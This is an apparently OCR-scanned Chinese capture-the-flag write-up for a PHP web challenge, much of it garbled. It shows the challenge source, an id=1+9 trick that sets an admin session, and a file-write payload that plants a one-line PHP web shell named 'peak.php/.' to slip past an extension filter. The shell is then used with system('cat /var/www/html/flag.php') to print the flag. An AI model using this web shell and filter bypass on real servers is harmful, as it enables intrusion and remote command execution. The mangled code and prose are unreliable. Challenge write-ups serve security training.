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DOCTYPE html
html
head
meta charset
title>cetc7</title
head
body
php

session_start();

if (!isset($_GET[page])) {
show_source(__FILE_);
die();
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if (isset($_GET[page]) $_GET[page]
include( )§

}else {
header(

form action method
page : <input type

id : <input type
input type

form

br

a href view-source

php

if ($_SESSION][
$con = $ POST[
$file = $ POST][
$filename

if(preg_match( , $filename)){

die(
}else{
chdir( );
$f = fopen($filename, )
fwrite($f, $con);
fclose($f);

php

if (isset($ GET[id]) floatval($ _GET[id])
include ;
$id = mysql real escape _string($ GET[id]);
$sql
$result = mysql query($sql);
$result = mysql fetch object($result);
else {
$result False;
die();

if(!$result)die(
if($result){

echo $result->id

echo $result->user
$ SESSION[ ] True;

$id

substr($ _GET[id],

1)




S ¥ pageFE HHE AR Findexphp, 7+ <& flag.php

<?php

session_start();

if (!isset($_GET[page])) {
show_source(__FILE_);
die();

}

if (isset($_GET[page]) $_GET[page]
include( );
}else {

header(

BB

B 5% ¢ SESSION[ 'admin'] , ¥ $con FINAEBANE| $file , BEXHFRLARTTLLAN .php3/4/5/6/7/t/html

<?php
if ($_SESSION]
$con = $ POST[
$file = $_POST][

$filename

if(preg_match( , $filename)){
die(

}else{
chdir( )
$f = fopen($filename, )
fwrite($f, $con);
fclose($f);

B=Bath

$_SESSION['admin'] = True A] LAJW 55 BT/
ZERFEHESHIFEE, dFELERRN 1, dSBEERE—MEUER9



if (isset($ GET[id]) floatval($ _GET[id]) substr($ GET[id], -1)

include ;

$id = mysql real escape _string($ GET[id]);
$sql $id
$result = mysql query($sql);

$result = mysql fetch object($result);

else {

$result False;

die();

if(!$result)die(
if($result){
echo $result->id
echo $result->user
$ SESSION[ ] True;
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A LAME Alid=1+93kgait
payload:

http://159.138.137.79:56884//index.php?page=flag.php&id=1+9
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< c @ © 4 159.138.137.79:
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View-source
id: 1
name:admin



2. BB

IR\ Tadmin, $con FFXHHINE, $file A4, $filename = "backup/".$file,

N preg_match('/.+\.ph(p[3457]?|t|tml)$/i", $filename RFIWr. Z JGHIME, AT LAMERBIL peak.php/. G863, (LFRRTE
peak.phpSCHATE H XM —AMH = B, M TEM, HlmE—AMeEEEm., WLE0 T8 , sadiEllE, &F—4
R, BT HEEF, XHfchdirdmFR, B, 1 Achdir?

chdir
(PHP 4, PHP 5, PHP 7)
chdir — B H3%

L
chdir( string $directory) : bool
' PHP 40 HRBUA directory.

EANEETIEES

iR B {8
BINET IR B TRUE, B TE RIS IR [E] FALSE.

DAk 75 i 28480 T
home/vincent
home/vincent/public_html

AT, BWURMAMEERBHBN—NFMER, ZCHEFHRNXNERT, BERERM, EARERERT, WEER
B EHHIN— uploadedH , $filenameh7E R EF/uploaded T , FTLL, 28— BtfipayloadN:

& Load URL ndex.php?page=flag.php&id=1+9
% Split URL

Execute
= = Post data [] Referer [] User Agent [] Cookies

con=<7php I($_REQUEST[peak])?>&fle=peak php/




NP REE EENV RO #=E ITROD #FEH)

mEEE ¥ Index of fjuploaded/backup *x -+

&« c @ © /4 159.138.137.79

Index of /uploaded/backup

Name Last modified Size Description

« Parent Directory -
[?) peak.php 2020-04-14 09:24 30

Apache/2.4.7 (Ubuntu) Server at 159.138.137.79 Port 56884

MR &wE EEV) [hRE B2E ITRI FEH)

mEEHE ®  159.138.137.79:56884/uploa

< cC @ © /4 159.138.137.79:

www-data

XHE) REE E5V BRO BEE IS0 FEH)

X

c @ © | % 159.138.137.7

/proc/sys/kerel/acpi_video_flags /proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu0/domain1/flags /proc/sys/kernel/sched_domain/cpul/domain0/flags /proc/sys/kernel/sched_domain/cpul/domain1/flags
/proc/sys/kemel/sched_domain/cpu10/domain0/flags /proc/sys/kernel/sched_domain/cpu10/demaini/flags /proc/sys/kernel/sched_domain/cpu11/domain0/flags /proc/sys/kernel/sched_domain/cpul1/domaini/flags /proc/sys/kernel
/sched_domain/cpu12/domain0/flags /proc/sys/kernel/sched_domain/cpu12/domaini/flags /proc/sys/kemel/sched_domain/cpu13/domain0/flags /proc/sys/kernel/sched_domain/cpu13/domaini/flags /proc/sys/kernel/sched_domain/cpu14
/domain0/flags /proc/sys/kernel/sched_domain/cpui4/domaini/flags /proc/sys/kernel/sched_domain/cpul5/domain0/flags /proc/sys/kernel/sched_domain/cpu15/domaini/flags /proc/sys/kernel/sched_domain/cpu2/domain0/flags /proc/sys
/kernel/sched_domain/cpu2/domaini/flags /proc/sys/kernel/sched_domain/cpu3/domain0/flags /proc/sys/kernel/sched_domain/cpu3/domain1/flags /proc/sys/kernel/sched_domain/cpud/domain0/flags /proc/sys/kernel/sched_domain
/cpud/domaini/flags /proc/sys/kernel/sched_domain/cpu5/domain0/flags /proc/sys/kemel/sched_domain/cpu5/domaini/flags /proc/sys/kernel/sched_domain/cpu6/domain0/flags /proc/sys/kernel/sched_domain/cpus/domaini/flags /proc/sys
/kernel/sched_domain/cpu7/domain0/flags /proc/sys/kernel/sched_domain/cpu7/domain1/flags /proc/sys/kernel/sched_domain/cpu8/domain0/flags /proc/sys/kernel/sched_domain/cpu8/domaint/flags /proc/sys/kernel/sched_domain
/cpu9/domainQ/flags /proc/sys/kernel/sched_domain/cpu9/domaini/flags /proc/kpageflags /var/www/himl/ﬁmlwhp /sys/devices/pnp0/00:04/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250
Jtty/ttySe/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial3250/tty/ttyS4/flags /sys/devices/platform/serial8250
Jtty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250
Jtty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250
/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250
Jtty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial3250/tty/ttyS1/flags /sys/devices/platform/serial8250
Jtty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/eth0
/flags /sys/devices/virtual/net/lo/flags /sys/module/scsi mod/parameters/default_dev flags /usr/lib/perl/5.18.2/bits/waitflags.ph
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mESE X | 159.138.137.79:56884/uploadec X http://159.138.137.79:56884fupl X |
c 4 view-source:http://159.138.137.79:56884 /uploaded/backup/peak php?peak=system('cat /var/www/html/flag.php?);
<html>
<head>

Smmtn mhawent="0mes 0"
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</head>
<body>
<?php
$flag="cyberpeace {ece51431aeb36fc4aa983c1d5373e22c} ”;
2>
</body>
</html>
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